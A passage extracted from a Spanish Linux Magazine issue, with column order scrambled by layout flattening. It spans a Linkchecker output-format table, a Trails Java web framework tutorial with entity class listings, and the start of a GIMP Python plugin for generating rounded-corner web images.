error que el proceso encuentre. En nuestro

laboratorio, Linkchecker tuvo problemas con

ficheros en su propio sistema de ficheros,

pero en ningún otro sitio más. �

fichero, por ejemplo

linkchecker-out.html. La Figura 3 pre-

senta al navegador web mostrando un

fichero de salida: los enlaces, que permi-

ten comprobar los resultados de la

búsqueda, son una ayuda muy útil.

La salida se envía a la terminal al

mismo tiempo que al fichero. Si se desea

[1] Sitio web de Linkchecker: http://

linkchecker.sourceforge.net/

[2] Descarga de Linkchecker: http://

sourceforge.net/project/showfiles.

php?group_id=1913

[3] Linkchecker para Debian: http://

packages.debian.org/unstable/web/

linkchecker

[4] Ivan Herman, M. Scott Marshall:

GraphXML . Un formato gráfico de

intercambio basado en XML: http://db.

cwi.nl/rapporten/abstract.

php?abstractnr=613

[5] GVF. El Graph Visualization Frame-

work: http://gvf.sourceforge.net/

[6] Formato de fichero GMLt: http://

infosun.fmi.uni-passau.de/Graphlet/

GML/

[7] Graphviz. Software de visualización

de gráficos para los ficheros DOT:

http://www.research.att.com/sw/tools/

graphviz/

Recursos

Palabra Significado

reservada

text Salida estándar de texto a un

fichero de texto plano.

html Salida como código HTML

que contiene enlaces a las

páginas referenciadas.

csv Salida como texto separado

por comas con una URL por

línea.

gml Salida en formato gráfico

GML [6].

dot Salida en formato gráfico

.dot [7].

gxml Salida en formato

GraphXML [4]. Hay visores

disponibles en [5].

xml Salida en formato XML, com

prensible para las máquinas.

sql Salida como instrucciones

INSERT de SQL.

blacklist Esta opción le indica a

Linkchecker que registre

solamente información

sobre los errores y que la

escriba en

~/.linkchecker/blacklist. Esto

es útil para la verificación

automática de enlaces con

cron.

none Sin salida, útil para los

scripts.

Tabla 1: Formatos de Salida

Linkchecker • PRÁCTICO

43Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 2: Encontrando fallos: Linkchecker encuentra errores en

“test.html” con ayuda del servidor web. La herramienta comprueba

cuatro enlaces e informa que dos de ellos están mal.

Figura 3: Extrayendo los resultados en un documento HTML nos pro-

porciona enlaces en la salida HTML, que si los seguimos nos llevan a

comprobar los resultados.

Page 44: Linux Magazine - Edición en Castellano, Nº 20

ejemplo: una herramienta que administre

información de vídeos.

Comienzo RápidoPara trabajar con Trails necesitamos instalar

Ant y el archivo de 20Mbyte de Trails que

podemos encontrar en [2]. El archivo

incluye todos los entornos de trabajo que

necesitamos para ejecutarlo. Deberíamos

también disponer de Tomcat 5.5 como servi-

dor de aplicaciones para evitar retrasos. Tras

configurar ANT_HOME y desempaquetar

Trails en un directorio adecuado, podemos

ejecutar el comando ant install-apt para ins-

talar las librerías necesarias de Ant

paraTrails en el directorio Ant-Lib.

Trails genera automáticamente la aplica-

ción esqueleto (Rails la denomina

“andamiaje”) y la completa con las librerías

y archivos de configuración necesarios. Para

ello, todo lo que necesitamos es ejecutar ant

create-project en el directorio de Trails.

Tras teclear el directorio de root y un nom-

bre para la nueva aplicación (myvideos, en

este ejemplo), Trails crea un nuevo directo-

rio junto con los subdirectorios necesarios y

las librerías, incluyendo un archivo

build.xml para crear y desplegar la nueva

aplicación Web. La estructura de este nuevo

directorio es la siguiente:

• directorio de root/myvideos/: directorio

principal para la aplicación Web. Este

directorio puede usarse como punto de

partida para importar un proyecto a una

IDE como Eclipse.

• directorio de root/myvideos/src: directo

rio del código fuente de la aplicación. Es

aquí donde implementamos nuestras

propias clases.

• directorio de root/myvideos/context:

directorio de la aplicación Web.

• directorio de root/myvideos/context/

WEB-INF: este directorio alberga los

archivos de configuración necesarios

(web.xml, hibernate.properties, y

demás) junto con las páginas de

Tapestry y los fragmentos HTML.

• directorio de root/myvideos/lib: un direc

torio para todos los archivos con dife

rentes entornos de trabajo (Hibernate,

Tapestry, Apache Commons y demás).

También tendremos que especificar la ruta

hasta la instalación de Tomcat en build.pro-

perties.

Desarrollo basado en DominioEl punto de comienzo para cualquier apli-

cación Web en Trails es uno o más POJOs

(Plain Old Java Objects), que se mapean

con los objetos de dominio en la aplicación.

Esta es la primera y más importante dife-

rencia para los que estén familiarizados

con Ruby on Rails: Trails no comienza con

una tabla de base de datos, sino que

Debió ser en algún momento a

comienzos del verano de 2005

cuando Jim Weirich le mostró a su

amigo Chris Nelson el vídeo de Ruby on

Rails [1] de la reunión del Cincinnati Java

User Group. Chris quedó impresionado por

esta solución rápida y sencilla para el

desarrollo de aplicaciones Web, y decidió

introducir la misma idea en su lenguaje

favorito, Java. Unos meses más tarde recogía

los frutos con la presentación de la primera

versión de Trails [2], un elegante entorno de

trabajo para Java.

El objetivo del proyecto Trails es “…con-

seguir que el desarrollo profesional en Java

sea radicalmente más sencillo, permitiendo

que el desarrollador se concentre en el

modelo de dominio” mientras que otras por-

ciones de código se generan dinámicamente

[1]. Trails minimiza la cantidad de código

original y genera automáticamente todo el

código que sea posible. El nombre Trails pro-

cede de Rails y le añade una T de Tapestry

[3]. Tapestry es un entorno de trabajo en

software libre para el desarrollo de aplicacio-

nes Web en Java. Trails también se basa en

conceptos y componentes de otros entornos

de trabajo sobradamente probados, como

Apache Ant, AspectJ [4], Spring [5], y el

mapeador de objetos relacionales Hibernate.

En este artículo vamos a poner a trabajar

a Trails en una pequeña aplicación de

DESARROLLO • Java

44 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Desarrollo de aplicaciones Web con el entorno de trabajo Trails

LA SENDA FELIZ

Vamos a crear aplicaciones Java en una fracción del tiempo normal de

desarrollo con el potente (y libre) entorno de trabajo Trails.

POR ROMAN WARTALA

Page 45: Linux Magazine - Edición en Castellano, Nº 20

aguarda una sencilla clase de Java como

punto de partida.

La clase del Listado 1, que administra los

videos en nuestra aplicación de ejemplo, es

sencilla de crear usando algún IDE moderno

como Eclipse. El programador sólo necesita

declarar los atributos de la clases id, title y

year, y luego usa el generador de getters y

setters (véase Figura 1) para crear los méto-

dos de acceso apropiado.

Para indicarle a Hibernate qué clase debe

persistir, los desarrolladores tienen que usar

anotaciones Java 5 que cumplan con los

nuevos estándares EJB-3.0/ JSR 220 [6][7].

La anotación @Entity (Listado 1) especifica

que Hibernate debería guardar la clase

Movie en la base de datos. Aún falta un

número identificador único (ID): la anota-

ción @Id(generate=GeneratorType.AUTO)

crea el ID usando para ello el atributo id.

Para poder distinguir las películas de la

base de datos, necesitamos también un

equals, que está trivialmente implementado

usando un EqualsBuilder del marco de tra-

bajo apache.commons.lang.builder.

Debemos llamar al objetivo de Ant, ant

deploy. Esto envía la aplicación Web a la

dirección http://localhost:8080/myvideos/.

CRUD

La página de bienvenida de la aplicación

para los vídeos le desea al usuario un

amistoso “Welcome”. Pulsando en List

Movies nos llevamos la primera sorpresa,

aunque puede que lo esperáramos si ya

hemos trabajado con Rails: incluso en esta

temprana etapa del desarrollo, los usuarios

pueden crear, buscar, modificar o borrar los

registros de las películas. Este diseño se

denomina CRUD (Create, Retrieve, Update,

Delete), y es uno de los puntos destacados

de cualquier demostración de Rails. Y,

¡atención!, si pulsamos sobre New Movie

aparece un formulario de entrada desde la

primera película. Una sencilla función de

Trails, la llamada Pluralizer, genera

Java • DESARROLLO

45Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Podemos usar el generador de getters y setters para crear los métodos de acceso

apropiados.

01 package de.wartala.myvideos;

02

03 import java.util.HashSet;

04 import java.util.Set;

05

06 import

javax.persistence.Entity;

07 import

javax.persistence.GeneratorTyp

e;

08 import javax.persistence.Id;

09

10 import

org.apache.commons.lang.builde

r.EqualsBuilder;

11

12 @Entity

13 public class Movie {

14 private Integer id;

15 private String title;

16 private Integer year;

17

18

@Id(generate=GeneratorType.AUT

O)

19 public Integer getId()

{

20 return

this.id;

21 }

22

23 public void

setId(Integer id) {

24 this.id = id;

25 }

26

27 public String

getTitle() {

28 return title;

29 }

30

31 public void

setTitle(String title) {

32 this.title =

title;

33 }

34

35 public Integer

getYear() {

36 return year;

37 }

38

39 public void

setYear(Integer year) {

40 this.year =

year;

41 }

42

43 public boolean

equals(Object obj) {

44 return

EqualsBuilder.reflectionEquals

(this, obj);

45 }

46

47 public String

toString() {

48 return

this.getTitle();

49 }

50 }

Listado 1: Movie (1)

Page 46: Linux Magazine - Edición en Castellano, Nº 20

entidades individuales. En la aplicación de

administración de películas necesitamos la

posibilidad de asignar varios actores a una

única película, una típica relación 1 a n. Para

expresar esto dentro de la clase Movie pode-

mos usar los Generics de Java 5.

Un conjunto de hashes de Actor

implementa la relación 1 a n para los actores

de la clase Movie (véase Listado 3, línea 25).

Los getters y setters de este atributo de clase

usan anotaciones JSR 220 para expresar la

relación requerida (Listado 3, líneas 57 a 68).

ant redeploy aplica los cambios. Ahora, un

usuario que introduzca una película puede

pulsar sobre Add New para añadir actores.

Nuestra Propia Página WebLas páginas Web que hemos visto hasta

ahora generadas por Trails son bastante sen-

cillas. Las anotaciones de Trail proporcionan

al desarrollador la posibilidad de hacer cam-

bios sencillos, como modificar el orden de los

cuadros de entrada de datos o los atributos

de los títulos. Por ejemplo, el siguiente con-

junto de anotaciones fija la posición de la

fecha de nacimiento del actor en el formula-

rio (Posición 2), el formato de salida de la

fecha y la etiqueta.

@PropertyDescriptor(index=2,U

format=”dd.MM.yyyy”,U

displayName=”Birthday”)

public Date getBirthday() {

return birthday;

}

Por supuesto, las modificaciones de este tipo

no deberían residir dentro de la clase, sino

fuera del código fuente. Para ello, las páginas

deben estar parametrizadas.

Para poder habilitar cambios estructurales

en una página subyacente, Trails usa el marco

de trabajo Tapestry para los controles de

modelo de visión. Tapestry soporta

implementaciones sencillas de validaciones e

internacionalización de páginas Web. Al igual

que las Java Server Faces (JSF), Tapestry

distingue entre los componentes contenidos

en una página y su representación. Todos los

automáticamente el plural Movies desde el

POJO Movie. Simplemente se le pasa un

nombre de clase en singular al pluralizer

para generar el plural.

Queremos que nuestra aplicación de

ejemplo administre tanto actores como pelí-

culas. Para ello necesitamos implementar un

objeto de dominio coincidente. La clase

Actor contendrá los atributos Name y Birth-

day (véase Listado 2). Hibernate no sería un

envoltorio de objetos relacionales si sólo

fuese capaz de mapear objetos. Por

supuesto, pueden expresar relaciones entre

DESARROLLO • Java

46 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 2: Trails nos permite desarrollar aplicaciones Web en Java, como esta base de datos de

películas, con un esfuerzo de codificación manual mínimo.

01 package de.wartala.myvideos;

02

03 import java.util.Date;

04

05 import

javax.persistence.Entity;

06 import

javax.persistence.GeneratorTyp

e;

07 import javax.persistence.Id;

08

09 @Entity

10 public class Actor {

11 private Integer id;

12 private String name;

13 private Date birthday;

14

15

@Id(generate=GeneratorType.AUT

O)

16 public Integer getId()

{

17 return id;

18 }

19

20 public void

setId(Integer id) {

21 this.id = id;

22 }

23

24 public String

getName() {

25 return name;

26 }

27

28 public void

setName(String name) {

29 this.name =

name;

30 }

31

32 public Date

getBirthday() {

33 return

birthday;

34 }

35

36 public void

setBirthday(Date birthday) {

37 this.birthday

= birthday;

38 }

39

40 public String

toString() {

41 return

this.getName();

42 }

43 }

Listado 2: Actor

Page 47: Linux Magazine - Edición en Castellano, Nº 20

elementos de entrada mostrados en Trails son

componentes de Tapestry o Trails. Si

queremos cambiar las páginas generadas,

debemos preocuparnos por conocer la

distribución de cada elemento en Tapestry.

Trails genera páginas por defecto para los

casos CRUD (extensión .html) y modelos de

página (extensión .page). Ambas partes se

controlan por la aplicación de servlet de

Tapestry, que se integra a través del archivo

web.xml.

Localización

Si queremos localizar contenidos en páginas

estáticas necesitamos cambiar las páginas

HTML correspondientes. Aquí es donde se

usan los conjuntos de mensajes estilo Java.

Los conjuntos de mensajes son simples

archivos de propiedades con una estructura

parameter=value. Para visualizar el Wel-

come en la página de inicio de la aplicación,

Home.html, que dependa del locale del

navegador Web, necesitamos un archivo

messages_[countrycode].properties. Para

myvideos en alemán, debería ser messa-

ges_de.properties en el directorio

/myvideos/context/WEB-INF:

org.trails.welcome=U

Willkommen zu Trails

No debemos olvidar reemplazar la línea

<h1>Welcome to Trails</h1> con la línea

<h1><span

key=”org.trails.welcome”Welcome to

Trails</span></h1> en Home.html para

visualizar un mensaje de bienvenida locali-

zado.

Desafortunadamente este método no fun-

ciona para el andamiaje: la página de inicio

de la aplicación de ejemplo muestra aún

“List Movies”. En su blog en [8], el desarro-

llador prometió una solución para esto en la

próxima versión. Por tanto, tiene sentido

añadir detalles específicos del país al anda-

miaje, anticipándonos al cambio. Si

Java • DESARROLLO

47Número 20W W W . L I N U X - M A G A Z I N E . E S

01 package de.wartala.myvideos;

02

03 import java.util.HashSet;

04 import java.util.Set;

05

06 import

javax.persistence.CascadeType;

07 import

javax.persistence.Entity;

08 import

javax.persistence.GeneratorTyp

e;

09 import javax.persistence.Id;

10 import

javax.persistence.JoinColumn;

11 import

javax.persistence.OneToMany;

12

13 import

org.apache.commons.lang.builde

r.EqualsBuilder;

14 import

org.hibernate.validator.NotNul

l;

15 import

org.trails.descriptor.annotati

on.Collection;

16 import

org.trails.descriptor.annotati

on.PropertyDescriptor;

17 import

org.trails.validation.Validate

Uniqueness;

18

19 @Entity

20

@ValidateUniqueness(property=”

title”)

21 public class Movie {

22 private Integer id;

23 private String title;

24 private Integer year;

25 private Set<Actor>

actors= new HashSet<Actor>();

26

27

@PropertyDescriptor(index=0)

28

@Id(generate=GeneratorType.AUT

O)

29 public Integer getId()

{

30 return

this.id;

31 }

32

33 public void

setId(Integer id) {

34 this.id = id;

35 }

36

37

@PropertyDescriptor(index=1)

38 @NotNull

39 public String

getTitle() {

40 return title;

41 }

42

43 public void

setTitle(String title) {

44 this.title =

title;

45 }

46

47

@PropertyDescriptor(index=2)

48 public Integer

getYear() {

49 return year;

50 }

51

52 public void

setYear(Integeryear) {

53 this.year =

year;

54 }

55

56

@PropertyDescriptor(index=3)

57

@OneToMany(cascade=CascadeType

.ALL)

58

@JoinColumn(name=”movieId”)

59

@Collection(child=true)

60 public Set<Actor>

getActors()

61 {

62 return actors;

63 }

64

65 public void

setActors(Set<Actor> actors)

66 {

67 this.actors =

actors;

68 }

69

70 public boolean

equals(Object obj) {

71 return

EqualsBuilder.reflectionEquals

(this, obj);

72 }

73

74 public String

toString() {

75 return

this.getTitle();

76 }

77 }

Listado 3: Movie (2)

Page 48: Linux Magazine - Edición en Castellano, Nº 20

usa esta base de datos. Para las demás

bases de datos, los desarrolladores tienen

que editar el archivo hibernate.properties

en el directorio directorio de root/myvi-

deos/context/WEB-INF. Pero debemos tener

cuidado: Hibernate no soporta todas las

bases de datos. Podemos visitar [10] y [11]

para comprobar qué bases de datos están

soportadas.

Soporte para AjaxDentro del andamiaje de la aplicación, un

archivo denominado

[applicationname].application configura el

entorno de Tapestry. El archivo hace refe-

rencia a la librería de Ajax, Tacos [12]. Una

de las ventajas principales que ofrece Ajax

es el renderizado parcial de los componen-

tes de la página. Esto es útil para páginas

grandes con muchos componentes de

entrada y salida. Cuando un usuario está

esperando delante de una aplicación Web,

hay una gran diferencia si el navegador

tiene que redibujar 20 campos de entrada

en un formulario o un solo campo. Tacos, y

por tanto Trails, resuelve esto de una senci-

lla manera. Desafortunadamente, el

desarrollador Web no sólo necesita modifi-

car la página HTML, sino que también

tiene que implementar una clase modelo

para hacer esto en Tapestry. Pero, de

nuevo, la ayuda está en camino: el desarro-

llador promete una manera más sencilla de

resolverlo en el próximo lanzamiento. Si no

podemos esperar a que llegue, debemos

echarle un vistazo al ejemplo en Ajax en

[2].

Realmente BonitoAl igual que es imposible decir Rails sin

decir Ruby, es imposible decir Trails sin

decir Tapestry si queremos desarrollar pro-

yectos de una cierta envergadura. Rails

debe gran parte de su potencia al lenguaje

de programación dinámica Ruby. Java no

soporta atributos dinámicos y métodos (al

menos en el momento de escribir estas

líneas). De hecho, Rails tiene muchos

extras que se echan en falta en Trails, como

soporte para email, por ejemplo, aunque el

email debería ser fácil de implementar con

Javamail. También se echa en falta una

interfaz de servicios Web adecuada, aun-

que el entorno de trabajo de servicios Web

de Apache, Axis [13], debería solventar

esto. Por otro lado, Trails tiene la capacidad

de enlazar bases de datos existentes a tra-

vés de Hibernate, en contraste con el

mapeador O/R de Rails, ActiveRecord.

Hemos de admitir que todavía queda

mucho trabajo por hacer, desde el momento

en el que la versión 0.8 de Trails aún está a

un par de pasos del lanzamiento 1.0. Si nos

tomamos la molestia de comprobar las

versiones actuales de Trails desde el

repositorio CVS, encontraremos referencias

a las funcionalidades de la próxima versión

de Trails.

Además del soporte para I18N comen-

tado anteriormente, el marco de trabajo

Trails puede esperar un nuevo paquete

basado en el framework de seguridad Acegi

para Spring [14]. Este paquete de seguridad

permitirá al desarrollador mover declaracio-

nes de seguridad a la definición de contexto

de la aplicación, al estilo típico de Spring. Y

si Chris Nelson pule un poco la documenta-

ción, y los avispados desarrolladores

encuentran la manera de integrar Java Ser-

ver Faces en lugar de Tapestry, Trails puede

convertirse en una popular alternativa para

crear modernas aplicaciones Web J2EE. �

verificamos el repositorio CVS en busca del

código fuente de Trails, podemos ver que los

paquetes están ahí.

Trails necesita un archivo de

configuración adicional, que no es sólo

para la localización:

/myvideos/context/WEB-INF/application-

Context.xml integra el entorno de

desarrollo Spring con Trails. No sólo refe-

rencia los beans requeridos por Trails e

Hibernate, sino que también les añade

varias propiedades. Es también el lugar

adecuado para integrar los conjuntos de

mensajes como los mostrados en el Listado

4.

Los valores de este parámetro pueden

referenciarse de diferentes maneras dentro

de las páginas de Tapestry. Como la valida-

ción tiene lugar dentro del objeto de

dominio, también es posible agregar la

salida a posibles validadores de campo:

@NotNull(message=”U

{error.emptyMessage}”)

@Pattern(regex=U

“[A-z|\\s]+”,message=U

“{error.letterOrSpace}”)

Para mantener la configuración de Trails

tan sencilla como sea posible, se integra la

versión in-memory de HSQL [9] como base

de datos por defecto. OpenOffice también

DESARROLLO • Java

[1] “Bien Encaminados,” por Armin

Röhrl, Stefan Schmiedl, Número 3 de

Linux Magazine edición en castellano,

pag. 32.

[2] Trails http://trails.dev.java.net

[3] Jakarta Tapestry: http://jakarta.apache.

org/tapestry

[4] AspectJ: http://www.eclipse.org/

aspectj

[5] Spring Framework: http://www.

springframework.org

[6] EJB 3.0 Annotation (JSR-220) en

http://www.jcp.org/aboutJava/

communityprocess/edr/jsr220

[7] Hibernate Annotations en http://www.

hibernate.org/hib_docs/annotations/

reference/en/html

[8] Chris Nelson’s Weblog: http://jroller.

com/page/ccnelson/

Weblog?catname=/Trails

[9] HSQL: http://hsqldb.org

[10] Bases de datos soportadas oficial-

mente por Hibernate: http://www.

hibernate.org/260.html

[11] Bases de datos soportadas no oficial-

mente por Hibernate: http://www.

hibernate.org/80.html

[12] Tacos: http://tacos.sourceforge.net

[13] Apache Axis: http://ws.apache.org/

axis

[14] Acegi Security Framework para

Spring: http://acegisecurity.org

RECURSOS

48 Número 20 W W W . L I N U X - M A G A Z I N E . E S

01 <!— Message source for this

context, loaded from localized

“messages_xx” files —>

02 <bean id=”messageSource”

class=”org.springframework.con

text.support.ResourceBundleMes

sageSource”>

03 <property

name=”basename”>

04

<value>messages</value>

05 </property>

06 </bean>

07

08 <bean id=”trailsMessageSource”

class=”org.trails.i18n.Default

TrailsResourceBundleMessageSou

rce”>

09 <property

name=”messageSource”><ref

local=”messageSource”/></prope

rty>

10 </bean>

Listado 4: Conjunto deMensajes

Page 49: Linux Magazine - Edición en Castellano, Nº 20

Pero el problema es cómo conseguir

ese efecto tan deseado. Existen varias

maneras. La primera, y más tradicional,

consiste en generar en Gimp una caja

completa de forma gráfica y después lle-

varla a HTML. El problema con este

enfoque es que la caja es estática y no

crece.

Otra posible solución es emplear

algunos de esos toolkits que existen

para Ajax que incorporan efectos «espe-

ciales». La mayoría de ellos permiten

redondear cajas de forma automática,

pero a costa de sobrecargar la página.

Generalmente funcionan, pero su téc-

nica se basa en emplear HTML para

conseguir el redondeo, y si el color de

fondo de la página no es blanco se pue-

den observar unas molestas puntitas

blancas en cada caja.

La solución más interesante es crear

cuatro pequeñas esquinas redondeadas

y ponerlas en las cuatro esquinas de la

caja empleando HTML. Este proceso,

aunque complicado, es el que da mejo-

res resultados. Pero desgraciadamente

puede ser un suplicio generar esas

esquinas constantemente.

Por ello aquí llegan Gimp y Python

automatizando el proceso completa-

mente.

¡La documentación!Es el gran problema: apenas hay docu-

mentación en castellano o en inglés

sobre la creación de plugins Python

para Gimp. Por increíble que parezca

este problema no tiene visos de solucio-

narse.

La única herramienta con la que con-

tamos, como se vio en el número 5 de

Linux Magazine (ver Recurso [1]) es el

navegador de procedimientos o funcio-

nes. Con él podemos acceder al listado

de funciones disponibles en nuestra

actual instalación de Gimp.

Para poder detectar si nuestro plugin

da errores lo mejor es ejecutar Gimp

desde una consola. No es la solución

más elegante pero nos permite saber

cuando algo va mal.

Gimp-PythonCuando se creó el primer sistema de plu-

gins para Gimp se le llamó Python-Fu, en

referencia al existente Script-Fu. Este

conjunto de librerías tenían un inconve-

niente, trabajaban a un nivel demasiado

bajo. Así que se creó otro conjunto de

librerías llamado Gimp-Python.

¿Cuál usar? Lo cierto es que hay que

usar una mezcla de ambos sistemas.

Python-Fu está diseñado en base a libre-

rías de funciones. Las funciones poseen

Python• DESARROLLO

49Número 20

Los plugins son una de las gran-

des armas de Gimp, y podemos

trabajar en Python creando

scripts como si fuesen programas

normales y corrientes. En el número

5 de Linux Magazine edición en cas-

tellano se vió el trabajo básico con

scripts, en este otro comenzaremos

con algunas características más avan-

zadas.

«Las esquinas no debenpinchar»Este podría ser uno de los lemas de

los diseñadores de web de última ola.

De pronto todas las web se han

vuelto redondas, desapareciendo las

cajas con esquinas puntiagudas a una

velocidad pasmosa.

W W W . L I N U X - M A G A Z I N E . E S

Plugins para GIMP y web 2.0

PLUGINS 2.0La moda rige el diseño, y la moda ahora mismo

es que todas las cajas de texto en la web tengan

las esquinas redondeadas. Python puede

ayudarnos a simplificar esta tarea.

POR JOSE MARÍA RUIZ

01 height = width = radius*2

02 img = gimp.Image(width,

height, RGB)

03 drawable = gimp.Layer(img,

“Capa de Esquina”, width,

height, RGB_IMAGE, 100,

NORMAL_MODE)

04

pdb.gimp_image_add_layer(img,d

rawable,0)

05 gimp.set_foreground(fg_color)

06 gimp.set_background(bg_color)

07

pdb.gimp_drawable_fill(drawabl

e,BACKGROUND_FILL)

Figura 1: Comenzamoscreando la imagen base.

Figura 1: El navegador de funciones de

Python-Fu nos permite comprobar los pará-

metros que aceptan y obtener algo de ayuda

sobre su uso. Las funciones generalmente

están en inglés.

Page 50: Linux Magazine - Edición en Castellano, Nº 20

DESARROLLO • Python

50 Número 20 W W W . L I N U X - M A G A Z I N E . E S

001 #!/usr/bin/env python

002 #

003 #Copyright (C) 2006 Jason Kivlighn

<[email protected]>

004 #Copyright (C) 2006 José María Ruiz Aguilera

<[email protected]>

005 #

006 #This program is free software; you can

redistribute it and/or

007 #modify it under the terms of the GNU General

Public License

008 #as published by the Free Software Foundation;

either version 2

009 #of the License, or (at your option) any later

version.

010 #

011 #This program is distributed in the hope that it

will be useful,

012 #but WITHOUT ANY WARRANTY; without even the

implied warranty of

013 #MERCHANTABILITY or FITNESS FOR A PARTICULAR

PURPOSE. See the

014 #GNU General Public License for more details.

015 #

016 #You should have received a copy of the GNU

General Public License

017 #along with this program; if not, write to the

Free Software

018 #Foundation, Inc., 59 Temple Place - Suite 330,

Boston, MA 02111-1307, USA.

019

020 #

http://students.washington.edu/jkivligh/view_sour

ce.php?file=/jkivligh/gimp_rounded_corners/gen_co

rners.py

021

022 import math

023 from gimpfu import *

024

025 def python_gen_corners( radius, fg_color,

bg_color, file_prefix, directory ):

026 height = width = radius*2

027 img = gimp.Image(width, height, RGB)

028 drawable = gimp.Layer(img, “Capa de la

Esquinas”, width, height,

029 RGB_IMAGE, 100,

NORMAL_MODE)

030 pdb.gimp_image_add_layer(img,drawable,0)

031

032 gimp.set_foreground(fg_color)

033 gimp.set_background(bg_color)

034

035

pdb.gimp_drawable_fill(drawable,BACKGROUND_FILL)

036

037

pdb.gimp_ellipse_select(img,0,0,radius*2,radius*2

,CHANNEL_OP_REPLACE,TRUE,FALSE,0)

038

pdb.gimp_edit_bucket_fill(drawable,FG_BUCKET_FILL

,NORMAL_MODE,100,1,FALSE,0,0)

039

040

041

pdb.gimp_rect_select(img,0,0,radius,radius,CHANNE

L_OP_REPLACE,FALSE,0)

042 pdb.gimp_edit_copy(drawable)

043 tl_img = gimp.Image(radius, radius, RGB)

044 tl_drawable = gimp.Layer(tl_img, “Arriba

Izquieda”, radius, radius,

045 RGB_IMAGE, 100,

NORMAL_MODE)

046

pdb.gimp_image_add_layer(tl_img,tl_drawable,0)

047

pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(

tl_drawable,TRUE))

048

049

050

pdb.gimp_rect_select(img,radius,0,radius,radius,C

HANNEL_OP_REPLACE,FALSE,0)

051 pdb.gimp_edit_copy(drawable)

052 tr_img = gimp.Image(radius, radius, RGB)

053 tr_drawable = gimp.Layer(tr_img, “Arriba

Derecha”, radius, radius,

054 RGB_IMAGE, 100,

NORMAL_MODE)

055

pdb.gimp_image_add_layer(tr_img,tr_drawable,0)

056

pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(

tr_drawable,TRUE))

057

058

059

pdb.gimp_rect_select(img,0,radius,radius,radius,C

HANNEL_OP_REPLACE,FALSE,0)

060 pdb.gimp_edit_copy(drawable)

061 bl_img = gimp.Image(radius, radius, RGB)

062 bl_drawable = gimp.Layer(bl_img, “Abajo

Izquierda”, radius, radius,

063 RGB_IMAGE, 100,

NORMAL_MODE)

064

pdb.gimp_image_add_layer(bl_img,bl_drawable,0)

065

pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(

bl_drawable,TRUE))

066

067

068

pdb.gimp_rect_select(img,radius,radius,radius,rad

ius,CHANNEL_OP_REPLACE,FALSE,0)

Figura 6: código completo

Page 51: Linux Magazine - Edición en Castellano, Nº 20

nombres bastante largos, separados por

«_». Mientras tanto, Gimp-Python

emplea objetos y trata de ser de tan alto

nivel como sea posible (para documenta-

ción sobre Gimp-Python ver Recurso

[2]).

Las funciones de Script-Fu están en

el módulo PDB, que aglomera todas

las funciones de los plugin, a

diferencia de los objetos y métodos de

Gimp-Python que están en el módulo

gimp.

En uno de los últimos cambios de

versión se hizo que todos los nombres

de objetos de Gimp-Python comenza-

ran con una mayúscula. Esto puede

entrar en conflicto con plugins y docu-

mentación antigua donde por ejemplo:

gimp.image(),

es la norma, mientras que en las últimas

versiones devolvería un error. Ahora

todos los objetos comienzan por mayús-

cula:

• gimp.Image().

Imágenes y LayersHay que comprender estos tres elemen-

tos y entenderlos bien para poder

trabajar con Gimp. Una image es un

objeto que contiene la información

básica, como el nombre, resolución o los

datos gráficos. Pero una image no nos

sirve de nada como tal.

La mayoría de las funciones de Gimp

operan sobre drawables (podemos tra-

ducirlo como «dibujables»). Existen dos

tipo de drawables: layers y masks.

Por el momento nos interesan los

layers. Un layer no es más que una capa

que podemos poner sobre la imagen.

Las capas poseen gran cantidad de pro-

piedades, pero las más distintivas son su

opacidad (la cantidad de luz de la ima-

gen de abajo que deja pasar) así como la

manera en que se «mezcla» con ella.

Existen muchas funciones de mezcla,

podemos sumar colores, dividirlos,

disolverlos,…

Por tanto cuando se crea una capa,

hay que vincularla con una imagen,

decir cuál será su opacidad y cómo se

relacionará con la capa o datos que

tenga «debajo». Las capas también tie-

nen nombre, y a través de él podremos

especificar acciones sobre capas especí-

ficas.

Sobre las capas podemos trabajar con

selecciones, y las selecciones pueden

cortar o delimitar secciones de la capa

donde podemos operar, introduciendo

color, degradados o ejecutar cualquiera

de las funciones o filtros que vienen por

defecto con Gimp.

Python • DESARROLLO

51Número 20W W W . L I N U X - M A G A Z I N E . E S

069 pdb.gimp_edit_copy(drawable)

070 br_img = gimp.Image(radius, radius, RGB)

071 br_drawable = gimp.Layer(br_img, “Abajo Derecha”, radius,

radius,

072 RGB_IMAGE, 100, NORMAL_MODE)

073 pdb.gimp_image_add_layer(br_img,br_drawable,0)

074

pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(br_drawable,TRUE))

075

076 filename = directory+”/”+file_prefix+”tr.png”

077 pdb.file_png_save_defaults( tr_img, tr_drawable, filename,

filename )

078

079 filename = directory+”/”+file_prefix+”tl.png”

080 pdb.file_png_save_defaults( tl_img, tl_drawable, filename,

filename )

081

082 filename = directory+”/”+file_prefix+”br.png”

083 pdb.file_png_save_defaults( br_img, br_drawable, filename,

filename )

084

085 filename = directory+”/”+file_prefix+”bl.png”

086 pdb.file_png_save_defaults( bl_img, bl_drawable, filename,

filename )

087

088 register(

089 “python_fu_gen_corners”,

090 “Genera esquinas redondeados”,

091 “Genera esquinas redondeados. Muy útil para páginas web.”

092 “José María Ruiz Aguilera”,

093 “Jason Kivlighn”,

094 “2006”,

095 “<Toolbox>/Python-Fu/_Genera Esquinas”,

096 “RGB*, GRAY*”,

097 [

098 (PF_INT, “radius”, “Radio”, 10),

099 (PF_COLOR, “fg_color”, “Color Primer Plano”,

(255,255,255)),

100 (PF_COLOR, “bg_color”, “Color de Fondo”, (0,0,0)),

101 (PF_STRING, “file_prefix”, “Prefijo del Fichero”,

“border_”),

102 (PF_FILE, “directory”, “Directorio”, “”)

103 ],

104 [],

105 python_gen_corners)

106

107 main()

Figura 6: código completo (continuación)

Figura 2: los creadores de Python-Fu han

puesto una serpiente ¡para que no olvidemos

que trabajamos con Python! Este cuadro de

diálogo se genera automáticamente.

Page 52: Linux Magazine - Edición en Castellano, Nº 20

aplastado, sobre la imagen. Como lo que

queremos es un círculo, pasamos como

centro el (0,0) y un alto y ancho iguales

(radio*2). CHANNEL_OP_REPLACE

expresa qué queremos hacer con nuestra

elipse. En este caso sólo queremos

reemplazar cualquier selección existente

con la nueva. Los últimos tres

parámetros le dicen a la función cosas

